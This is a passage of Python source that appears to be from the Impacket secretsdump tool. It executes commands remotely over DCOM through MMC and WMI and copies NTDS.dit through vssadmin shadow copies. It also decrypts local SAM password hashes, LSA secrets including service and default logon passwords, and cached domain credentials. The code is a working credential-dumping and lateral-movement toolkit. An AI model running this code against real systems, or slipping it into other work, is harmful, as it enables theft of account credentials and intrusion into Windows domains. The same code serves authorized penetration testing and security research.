787        if objRefType == FLAGS_OBJREF_CUSTOM:
788            objRef = OBJREF_CUSTOM(''.join(resp))
789        elif objRefType == FLAGS_OBJREF_HANDLER:
790            objRef = OBJREF_HANDLER(''.join(resp))
791        elif objRefType == FLAGS_OBJREF_STANDARD:
792            objRef = OBJREF_STANDARD(''.join(resp))
793        elif objRefType == FLAGS_OBJREF_EXTENDED:
794            objRef = OBJREF_EXTENDED(''.join(resp))
795        else:
796            logging.error("Unknown OBJREF Type! 0x%x" % objRefType)
797
798        return IRemUnknown2(
799            INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'],
800                      oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'],
801                      target=interface.get_target()))
802
803    def __mmcExec(self,command):
804        command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe')
805        username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
806        dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
807                              oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
808        iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch)
809        iMMC = IDispatch(iInterface)
810
811        resp = iMMC.GetIDsOfNames(('Document',))
812
813        dispParams = DISPPARAMS(None, False)
814        dispParams['rgvarg'] = NULL
815        dispParams['rgdispidNamedArgs'] = NULL
816        dispParams['cArgs'] = 0
817        dispParams['cNamedArgs'] = 0
818        resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
819
820        iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
821        resp = iDocument.GetIDsOfNames(('ActiveView',))
822        resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], [])
823
824        iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData']))
825        pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0]
826
827        pQuit = iMMC.GetIDsOfNames(('Quit',))[0]
828
829        dispParams = DISPPARAMS(None, False)
830        dispParams['rgdispidNamedArgs'] = NULL
831        dispParams['cArgs'] = 4
832        dispParams['cNamedArgs'] = 0
833        arg0 = VARIANT(None, False)
834        arg0['clSize'] = 5
835        arg0['vt'] = VARENUM.VT_BSTR
836        arg0['_varUnion']['tag'] = VARENUM.VT_BSTR
837        arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe'
838
839        arg1 = VARIANT(None, False)
840        arg1['clSize'] = 5
841        arg1['vt'] = VARENUM.VT_BSTR
842        arg1['_varUnion']['tag'] = VARENUM.VT_BSTR
843        arg1['_varUnion']['bstrVal']['asData'] = 'c:\\'
844
845        arg2 = VARIANT(None, False)
846        arg2['clSize'] = 5
847        arg2['vt'] = VARENUM.VT_BSTR
848        arg2['_varUnion']['tag'] = VARENUM.VT_BSTR
849        arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):]
850
851        arg3 = VARIANT(None, False)
852        arg3['clSize'] = 5
853        arg3['vt'] = VARENUM.VT_BSTR
854        arg3['_varUnion']['tag'] = VARENUM.VT_BSTR
855        arg3['_varUnion']['bstrVal']['asData'] = '7'
856        dispParams['rgvarg'].append(arg3)
857        dispParams['rgvarg'].append(arg2)
858        dispParams['rgvarg'].append(arg1)
859        dispParams['rgvarg'].append(arg0)
860
861        iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
862
863        dispParams = DISPPARAMS(None, False)
864        dispParams['rgvarg'] = NULL
865        dispParams['rgdispidNamedArgs'] = NULL
866        dispParams['cArgs'] = 0
867        dispParams['cNamedArgs'] = 0
868
869        iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], [])
870
871
872    def __wmiExec(self, command):
873        # Convert command to wmi exec friendly format
874        command = command.replace('%COMSPEC%', 'cmd.exe')
875        username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials()
876        dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey,
877                              oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
878        iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
879        iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
880        iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
881        iWbemLevel1Login.RemRelease()
882
883        win32Process,_ = iWbemServices.GetObject('Win32_Process')
884        win32Process.Create(command, '\\', None)
885
886        dcom.disconnect()
887
888    def __executeRemote(self, data):
889        self.__tmpServiceName = ''.join([random.choice(string.letters) for _ in range(8)]).encode('utf-16le')
890        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \
891                  self.__shell + self.__batchFile
892        command += ' & ' + 'del ' + self.__batchFile
893
894        LOG.debug('ExecuteRemote command: %s' % command)
895        if self.__execMethod == 'smbexec':
896            self.__smbExec(command)
897        elif self.__execMethod == 'wmiexec':
898            self.__wmiExec(command)
899        elif self.__execMethod == 'mmcexec':
900            self.__mmcExec(command)
901        else:
902            raise Exception('Invalid exec method %s, aborting' % self.__execMethod)
903
904
905    def __answer(self, data):
906        self.__answerTMP += data
907
908    def __getLastVSS(self):
909        self.__executeRemote('%COMSPEC% /C vssadmin list shadows')
910        time.sleep(5)
911        tries = 0
912        while True:
913            try:
914                self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
915                break
916            except Exception, e:
917                if tries > 30:
918                    # We give up
919                    raise Exception('Too many tries trying to list vss shadows')
920                if str(e).find('SHARING') > 0:
921                    # Stuff didn't finish yet.. wait more
922                    time.sleep(5)
923                    tries +=1
924                    pass
925                else:
926                    raise
927
928        lines = self.__answerTMP.split('\n')
929        lastShadow = ''
930        lastShadowFor = ''
931
932        # Let's find the last one
933        # The string used to search the shadow for drive. Wondering what happens
934        # in other languages
935        SHADOWFOR = 'Volume: ('
936
937        for line in lines:
938           if line.find('GLOBALROOT') > 0:
939               lastShadow = line[line.find('\\\\?'):][:-1]
940           elif line.find(SHADOWFOR) > 0:
941               lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2]
942
943        self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
944
945        return lastShadow, lastShadowFor
946
947    def saveNTDS(self):
948        LOG.info('Searching for NTDS.dit')
949        # First of all, let's try to read the target NTDS.dit registry entry
950        ans = rrp.hOpenLocalMachine(self.__rrp)
951        regHandle = ans['phKey']
952        try:
953            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters')
954            keyHandle = ans['phkResult']
955        except:
956            # Can't open the registry path, assuming no NTDS on the other end
957            return None
958
959        try:
960            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file')
961            ntdsLocation = dataValue[:-1]
962            ntdsDrive = ntdsLocation[:2]
963        except:
964            # Can't open the registry path, assuming no NTDS on the other end
965            return None
966
967        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
968        rrp.hBaseRegCloseKey(self.__rrp, regHandle)
969
970        LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation)
971        LOG.info('Using %s method for remote execution' % self.__execMethod)
972        # Get the list of remote shadows
973        shadow, shadowFor = self.__getLastVSS()
974        if shadow == '' or (shadow != '' and shadowFor != ntdsDrive):
975            # No shadow, create one
976            self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive)
977            shadow, shadowFor = self.__getLastVSS()
978            shouldRemove = True
979            if shadow == '':
980                raise Exception('Could not get a VSS')
981        else:
982            shouldRemove = False
983
984        # Now copy the ntds.dit to the temp directory
985        tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
986
987        self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName))
988
989        if shouldRemove is True:
990            self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive)
991
992        tries = 0
993        while True:
994            try:
995                self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output')
996                break
997            except Exception, e:
998                if tries >= 30:
999                    raise e
1000                if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0:
1001                    tries += 1
1002                    time.sleep(5)
1003                    pass
1004                else:
1005                    logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e)))
1006                    pass
1007
1008        remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName)
1009
1010        return remoteFileName
1011
1012class CryptoCommon:
1013    # Common crypto stuff used over different classes
1014    def transformKey(self, InputKey):
1015        # Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key
1016        OutputKey = []
1017        OutputKey.append( chr(ord(InputKey[0]) >> 0x01) )
1018        OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
1019        OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
1020        OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
1021        OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
1022        OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
1023        OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
1024        OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )
1025
1026        for i in range(8):
1027            OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)
1028
1029        return "".join(OutputKey)
1030
1031    def deriveKey(self, baseKey):
1032        # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
1033        # Let I be the little-endian, unsigned integer.
1034        # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
1035        # Note that because I is in little-endian byte order, I[0] is the least significant byte.
1036        # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
1037        # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
1038        key = pack('<L',baseKey)
1039        key1 = key[0] + key[1] + key[2] + key[3] + key[0] + key[1] + key[2]
1040        key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1]
1041        return self.transformKey(key1),self.transformKey(key2)
1042
1043    @staticmethod
1044    def decryptAES(key, value, iv='\x00'*16):
1045        plainText = ''
1046        if iv != '\x00'*16:
1047            aes256 = AES.new(key,AES.MODE_CBC, iv)
1048
1049        for index in range(0, len(value), 16):
1050            if iv == '\x00'*16:
1051                aes256 = AES.new(key,AES.MODE_CBC, iv)
1052            cipherBuffer = value[index:index+16]
1053            # Pad buffer to 16 bytes
1054            if len(cipherBuffer) < 16:
1055                cipherBuffer += '\x00' * (16-len(cipherBuffer))
1056            plainText += aes256.decrypt(cipherBuffer)
1057
1058        return plainText
1059
1060class OfflineRegistry:
1061    def __init__(self, hiveFile = None, isRemote = False):
1062        self.__hiveFile = hiveFile
1063        if self.__hiveFile is not None:
1064            self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)
1065
1066    def enumKey(self, searchKey):
1067        parentKey = self.__registryHive.findKey(searchKey)
1068
1069        if parentKey is None:
1070            return
1071
1072        keys = self.__registryHive.enumKey(parentKey)
1073
1074        return keys
1075
1076    def enumValues(self, searchKey):
1077        key = self.__registryHive.findKey(searchKey)
1078
1079        if key is None:
1080            return
1081
1082        values = self.__registryHive.enumValues(key)
1083
1084        return values
1085
1086    def getValue(self, keyValue):
1087        value = self.__registryHive.getValue(keyValue)
1088
1089        if value is None:
1090            return
1091
1092        return value
1093
1094    def getClass(self, className):
1095        value = self.__registryHive.getClass(className)
1096
1097        if value is None:
1098            return
1099
1100        return value
1101
1102    def finish(self):
1103        if self.__hiveFile is not None:
1104            # Remove temp file and whatever else is needed
1105            self.__registryHive.close()
1106
1107class SAMHashes(OfflineRegistry):
1108    def __init__(self, samFile, bootKey, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)):
1109        OfflineRegistry.__init__(self, samFile, isRemote)
1110        self.__samFile = samFile
1111        self.__hashedBootKey = ''
1112        self.__bootKey = bootKey
1113        self.__cryptoCommon = CryptoCommon()
1114        self.__itemsFound = {}
1115        self.__perSecretCallback = perSecretCallback
1116
1117    def MD5(self, data):
1118        md5 = hashlib.new('md5')
1119        md5.update(data)
1120        return md5.digest()
1121
1122    def getHBootKey(self):
1123        LOG.debug('Calculating HashedBootKey from SAM')
1124        QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
1125        DIGITS = "0123456789012345678901234567890123456789\0"
1126
1127        F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1]
1128
1129        domainData = DOMAIN_ACCOUNT_F(F)
1130
1131        if domainData['Key0'][0] == '\x01':
1132            samKeyData = SAM_KEY_DATA(domainData['Key0'])
1133
1134            rc4Key = self.MD5(samKeyData['Salt'] + QWERTY + self.__bootKey + DIGITS)
1135            rc4 = ARC4.new(rc4Key)
1136            self.__hashedBootKey = rc4.encrypt(samKeyData['Key']+samKeyData['CheckSum'])
1137
1138            # Verify key with checksum
1139            checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
1140
1141            if checkSum != self.__hashedBootKey[16:]:
1142                raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
1143
1144        elif domainData['Key0'][0] == '\x02':
1145            # This is Windows 2016 TP5 on in theory (it is reported that some W10 and 2012R2 might behave this way also)
1146            samKeyData = SAM_KEY_DATA_AES(domainData['Key0'])
1147
1148            self.__hashedBootKey = self.__cryptoCommon.decryptAES(self.__bootKey,
1149                                                                  samKeyData['Data'][:samKeyData['DataLen']], samKeyData['Salt'])
1150
1151    def __decryptHash(self, rid, cryptedHash, constant, newStyle = False):
1152        # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
1153        # plus hashedBootKey stuff
1154        Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
1155
1156        Crypt1 = DES.new(Key1, DES.MODE_ECB)
1157        Crypt2 = DES.new(Key2, DES.MODE_ECB)
1158
1159        if newStyle is False:
1160            rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
1161            rc4 = ARC4.new(rc4Key)
1162            key = rc4.encrypt(cryptedHash['Hash'])
1163        else:
1164            key = self.__cryptoCommon.decryptAES(self.__hashedBootKey[:0x10], cryptedHash['Hash'], cryptedHash['Salt'])[:16]
1165
1166        decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
1167
1168        return decryptedHash
1169
1170    def dump(self):
1171        NTPASSWORD = "NTPASSWORD\0"
1172        LMPASSWORD = "LMPASSWORD\0"
1173
1174        if self.__samFile is None:
1175            # No SAM file provided
1176            return
1177
1178        LOG.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
1179        self.getHBootKey()
1180
1181        usersKey = 'SAM\\Domains\\Account\\Users'
1182
1183        # Enumerate all the RIDs
1184        rids = self.enumKey(usersKey)
1185        # Remove the Names item
1186        try:
1187            rids.remove('Names')
1188        except:
1189            pass
1190
1191        for rid in rids:
1192            userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
1193            rid = int(rid,16)
1194
1195            V = userAccount['Data']
1196
1197            userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
1198
1199            if V[userAccount['NTHashOffset']:][2] == '\x01':
1200                # Old Style hashes
1201                newStyle = False
1202                if userAccount['LMHashLength'] == 20:
1203                    encLMHash = SAM_HASH(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
1204                if userAccount['NTHashLength'] == 20:
1205                    encNTHash = SAM_HASH(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])
1206            else:
1207                # New Style hashes
1208                newStyle = True
1209                if userAccount['LMHashLength'] == 24:
1210                    encLMHash = SAM_HASH_AES(V[userAccount['LMHashOffset']:][:userAccount['LMHashLength']])
1211                encNTHash = SAM_HASH_AES(V[userAccount['NTHashOffset']:][:userAccount['NTHashLength']])
1212
1213            LOG.debug('NewStyle hashes is: %s' % newStyle)
1214            if userAccount['LMHashLength'] >= 20:
1215                lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle)
1216            else:
1217                lmHash = ''
1218
1219            ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle)
1220
1221            if lmHash == '':
1222                lmHash = ntlm.LMOWFv1('','')
1223            if ntHash == '':
1224                ntHash = ntlm.NTOWFv1('','')
1225
1226            answer =  "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
1227            self.__itemsFound[rid] = answer
1228            self.__perSecretCallback(answer)
1229
1230    def export(self, fileName):
1231        if len(self.__itemsFound) > 0:
1232            items = sorted(self.__itemsFound)
1233            fd = codecs.open(fileName+'.sam','w+', encoding='utf-8')
1234            for item in items:
1235                fd.write(self.__itemsFound[item]+'\n')
1236            fd.close()
1237
1238class LSASecrets(OfflineRegistry):
1239    UNKNOWN_USER = '(Unknown User)'
1240    class SECRET_TYPE:
1241        LSA = 0
1242        LSA_HASHED = 1
1243        LSA_RAW = 2
1244
1245    def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False,
1246                 perSecretCallback=lambda secretType, secret: _print_helper(secret)):
1247        OfflineRegistry.__init__(self, securityFile, isRemote)
1248        self.__hashedBootKey = ''
1249        self.__bootKey = bootKey
1250        self.__LSAKey = ''
1251        self.__NKLMKey = ''
1252        self.__vistaStyle = True
1253        self.__cryptoCommon = CryptoCommon()
1254        self.__securityFile = securityFile
1255        self.__remoteOps = remoteOps
1256        self.__cachedItems = []
1257        self.__secretItems = []
1258        self.__perSecretCallback = perSecretCallback
1259        self.__history = history
1260
1261    def MD5(self, data):
1262        md5 = hashlib.new('md5')
1263        md5.update(data)
1264        return md5.digest()
1265
1266    def __sha256(self, key, value, rounds=1000):
1267        sha = hashlib.sha256()
1268        sha.update(key)
1269        for i in range(1000):
1270            sha.update(value)
1271        return sha.digest()
1272
1273    def __decryptSecret(self, key, value):
1274        # [MS-LSAD] Section 5.1.2
1275        plainText = ''
1276
1277        encryptedSecretSize = unpack('<I', value[:4])[0]
1278        value = value[len(value)-encryptedSecretSize:]
1279
1280        key0 = key
1281        for i in range(0, len(value), 8):
1282            cipherText = value[:8]
1283            tmpStrKey = key0[:7]
1284            tmpKey = self.__cryptoCommon.transformKey(tmpStrKey)
1285            Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
1286            plainText += Crypt1.decrypt(cipherText)
1287            key0 = key0[7:]
1288            value = value[8:]
1289            # AdvanceKey
1290            if len(key0) < 7:
1291                key0 = key[len(key0):]
1292
1293        secret = LSA_SECRET_XP(plainText)
1294        return secret['Secret']
1295
1296    def __decryptHash(self, key, value, iv):
1297        hmac_md5 = HMAC.new(key,iv)
1298        rc4key = hmac_md5.digest()
1299
1300        rc4 = ARC4.new(rc4key)
1301        data = rc4.encrypt(value)
1302        return data
1303
1304    def __decryptLSA(self, value):
1305        if self.__vistaStyle is True:
1306            # ToDo: There could be more than one LSA Keys
1307            record = LSA_SECRET(value)
1308            tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
1309            plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
1310            record = LSA_SECRET_BLOB(plainText)
1311            self.__LSAKey = record['Secret'][52:][:32]
1312
1313        else:
1314            md5 = hashlib.new('md5')
1315            md5.update(self.__bootKey)
1316            for i in range(1000):
1317                md5.update(value[60:76])
1318            tmpKey = md5.digest()
1319            rc4 = ARC4.new(tmpKey)
1320            plainText = rc4.decrypt(value[12:60])
1321            self.__LSAKey = plainText[0x10:0x20]
1322
1323    def __getLSASecretKey(self):
1324        LOG.debug('Decrypting LSA Key')
1325        # Let's try the key post XP
1326        value = self.getValue('\\Policy\\PolEKList\\default')
1327        if value is None:
1328            LOG.debug('PolEKList not found, trying PolSecretEncryptionKey')
1329            # Second chance
1330            value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')
1331            self.__vistaStyle = False
1332            if value is None:
1333                # No way :(
1334                return None
1335
1336        self.__decryptLSA(value[1])
1337
1338    def __getNLKMSecret(self):
1339        LOG.debug('Decrypting NL$KM')
1340        value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')
1341        if value is None:
1342            raise Exception("Couldn't get NL$KM value")
1343        if self.__vistaStyle is True:
1344            record = LSA_SECRET(value[1])
1345            tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
1346            self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
1347        else:
1348            self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
1349
1350    def __pad(self, data):
1351        if (data & 0x3) > 0:
1352            return data + (data & 0x3)
1353        else:
1354            return data
1355
1356    def dumpCachedHashes(self):
1357        if self.__securityFile is None:
1358            # No SECURITY file provided
1359            return
1360
1361        LOG.info('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)')
1362
1363        # Let's first see if there are cached entries
1364        values = self.enumValues('\\Cache')
1365        if values is None:
1366            # No cache entries
1367            return
1368        try:
1369            # Remove unnecessary value
1370            values.remove('NL$Control')
1371        except:
1372            pass
1373
1374        self.__getLSASecretKey()
1375        self.__getNLKMSecret()
1376
1377        for value in values:
1378            LOG.debug('Looking into %s' % value)
1379            record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1])
1380            if record['IV'] != 16 * '\x00':
1381            #if record['UserLength'] > 0:
1382                if record['Flags'] & 1 == 1:
1383                    # Encrypted
1384                    if self.__vistaStyle is True:
1385                        plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['IV'])
1386                    else:
1387                        plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['IV'])
1388                        pass
1389                else:
1390                    # Plain! Until we figure out what this is, we skip it
1391                    #plainText = record['EncryptedData']
1392                    continue
1393                encHash = plainText[:0x10]
1394                plainText = plainText[0x48:]
1395                userName = plainText[:record['UserLength']].decode('utf-16le')
1396                plainText = plainText[self.__pad(record['UserLength']):]
1397                domain = plainText[:record['DomainNameLength']].decode('utf-16le')
1398                plainText = plainText[self.__pad(record['DomainNameLength']):]
1399                domainLong = plainText[:self.__pad(record['DnsDomainNameLength'])].decode('utf-16le')
1400                answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain)
1401                self.__cachedItems.append(answer)
1402                self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer)
1403
1404    def __printSecret(self, name, secretItem):
1405        # Based on [MS-LSAD] section 3.1.1.4
1406
1407        # First off, let's discard NULL secrets.
1408        if len(secretItem) == 0:
1409            LOG.debug('Discarding secret %s, NULL Data' % name)
1410            return
1411
1412        # We might have secrets with zero
1413        if secretItem.startswith('\x00\x00'):
1414            LOG.debug('Discarding secret %s, all zeros' % name)
1415            return
1416
1417        upperName = name.upper()
1418
1419        LOG.info('%s ' % name)
1420
1421        secret = ''
1422
1423        if upperName.startswith('_SC_'):
1424            # Service name, a password might be there
1425            # Let's first try to decode the secret
1426            try:
1427                strDecoded = secretItem.decode('utf-16le')
1428            except:
1429                pass
1430            else:
1431                # We have to get the account the service
1432                # runs under
1433                if hasattr(self.__remoteOps, 'getServiceAccount'):
1434                    account = self.__remoteOps.getServiceAccount(name[4:])
1435                    if account is None:
1436                        secret = self.UNKNOWN_USER + ':'
1437                    else:
1438                        secret =  "%s:" % account
1439                else:
1440                    # We don't support getting this info for local targets at the moment
1441                    secret = self.UNKNOWN_USER + ':'
1442                secret += strDecoded
1443        elif upperName.startswith('DEFAULTPASSWORD'):
1444            # defaults password for winlogon
1445            # Let's first try to decode the secret
1446            try:
1447                strDecoded = secretItem.decode('utf-16le')
1448            except:
1449                pass
1450            else:
1451                # We have to get the account this password is for
1452                if hasattr(self.__remoteOps, 'getDefaultLoginAccount'):
1453                    account = self.__remoteOps.getDefaultLoginAccount()
1454                    if account is None:
1455                        secret = self.UNKNOWN_USER + ':'
1456                    else:
1457                        secret = "%s:" % account
1458                else:
1459                    # We don't support getting this info for local targets at the moment
1460                    secret = self.UNKNOWN_USER + ':'
1461                secret += strDecoded
1462        elif upperName.startswith('ASPNET_WP_PASSWORD'):
1463            try:
1464                strDecoded = secretItem.decode('utf-16le')
1465            except:
1466                pass
1467            else:
1468                secret = 'ASPNET: %s' % strDecoded
1469        elif upperName.startswith('$MACHINE.ACC'):
1470            # compute MD4 of the secret.. yes.. that is the nthash? :-o
1471            md4 = MD4.new()
1472            md4.update(secretItem)
1473            if hasattr(self.__remoteOps, 'getMachineNameAndDomain'):
1474                machine, domain = self.__remoteOps.getMachineNameAndDomain()
1475                secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
1476            else:
1477                secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
1478
1479        if secret != '':
1480            printableSecret = secret
1481            self.__secretItems.append(secret)
1482            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret)
1483        else:
1484            # Default print, hexdump
1485            printableSecret  = '%s:%s' % (name, hexlify(secretItem))
1486            self.__secretItems.append(printableSecret)
1487            # If we're using the default callback (ourselves), we print the hex representation. If not, the
1488            # user will need to decide what to do.
1489            if self.__module__ == self.__perSecretCallback.__module__:
1490                hexdump(secretItem)
1491            self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_RAW, printableSecret)
1492
1493    def dumpSecrets(self):
1494        if self.__securityFile is None:
1495            # No SECURITY file provided
1496            return
1497
1498        LOG.info('Dumping LSA Secrets')
1499
1500        # Let's first see if there are cached entries
1501        keys = self.enumKey('\\Policy\\Secrets')
1502        if keys is None:
1503            # No entries
1504            return
1505        try:
1506            # Remove unnecessary value
1507            keys.remove('NL$Control')
1508        except:
1509            pass
1510
1511        if self.__LSAKey == '':
1512            self.__getLSASecretKey()
1513
1514        for key in keys:
1515            LOG.debug('Looking into %s' % key)
1516            valueTypeList = ['CurrVal']
1517            # Check if old LSA secrets values are also need to be shown
1518            if self.__history:
1519                valueTypeList.append('OldVal')
1520
1521            for valueType in valueTypeList:
1522                value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType))
1523                if value is not None and value[1] != 0:
1524                    if self.__vistaStyle is True:
1525                        record = LSA_SECRET(value[1])
1526                        tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
1527                        plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
1528                        record = LSA_SECRET_BLOB(plainText)
1529                        secret = record['Secret']
1530                    else:
1531                        secret = self.__decryptSecret(self.__LSAKey, value[1])
1532
1533                    # If this is an OldVal secret, let's append '_history' to be able to distinguish it and
1534                    # also be consistent with NTDS history
1535                    if valueType == 'OldVal':
1536                        key += '_history'
1537                    self.__printSecret(key, secret)
1538
1539    def exportSecrets(self, fileName):
1540        if len(self.__secretItems) > 0:
1541            fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8')
1542            for item in self.__secretItems:
1543                fd.write(item+'\n')
1544            fd.close()
1545
1546    def exportCached(self, fileName):
1547        if len(self.__cachedItems) > 0:
1548            fd = codecs.open(fileName+'.cached','w+', encoding='utf-8')
1549            for item in self.__cachedItems:
1550                fd.write(item+'\n')
1551            fd.close()
1552
1553
1554class ResumeSessionMgrInFile(object):
1555    def __init__(self, resumeFileName=None):
1556        self.__resumeFileName = resumeFileName
1557        self.__resumeFile = None
1558        self.__hasResumeData = resumeFileName is not None
1559
1560    def hasResumeData(self):
1561        return self.__hasResumeData
1562
1563    def clearResumeData(self):
1564        self.endTransaction()
1565        if self.__resumeFileName and os.path.isfile(self.__resumeFileName):
1566            os.remove(self.__resumeFileName)
1567
1568    def writeResumeData(self, data):
1569        # self.beginTransaction() must be called first, but we are aware of performance here, so we avoid checking that
1570        self.__resumeFile.seek(0, 0)
1571        self.__resumeFile.truncate(0)
1572        self.__resumeFile.write(data)
1573        self.__resumeFile.flush()
1574
1575    def getResumeData(self):
1576        try:
1577            self.__resumeFile = open(self.__resumeFileName,'rb')
1578        except Exception, e:
1579            raise Exception('Cannot open resume session file name %s' % str(e))
1580        resumeSid = self.__resumeFile.read()
1581        self.__resumeFile.close()
1582        # Truncate and reopen the file as wb+
1583        self.__resumeFile = open(self.__resumeFileName,'wb+')
1584        return resumeSid
1585
1586    def getFileName(self):
1587        return self.__resumeFileName
1588
1589    def beginTransaction(self):
1590        if not self.__resumeFileName:
1591            self.__resumeFileName = 'sessionresume_%s' % ''.join(random.choice(string.letters) for _ in range(8))
1592            LOG.debug('Session resume file will be %s' % self.__resumeFileName)
1593        if not self.__resumeFile:
1594            try:
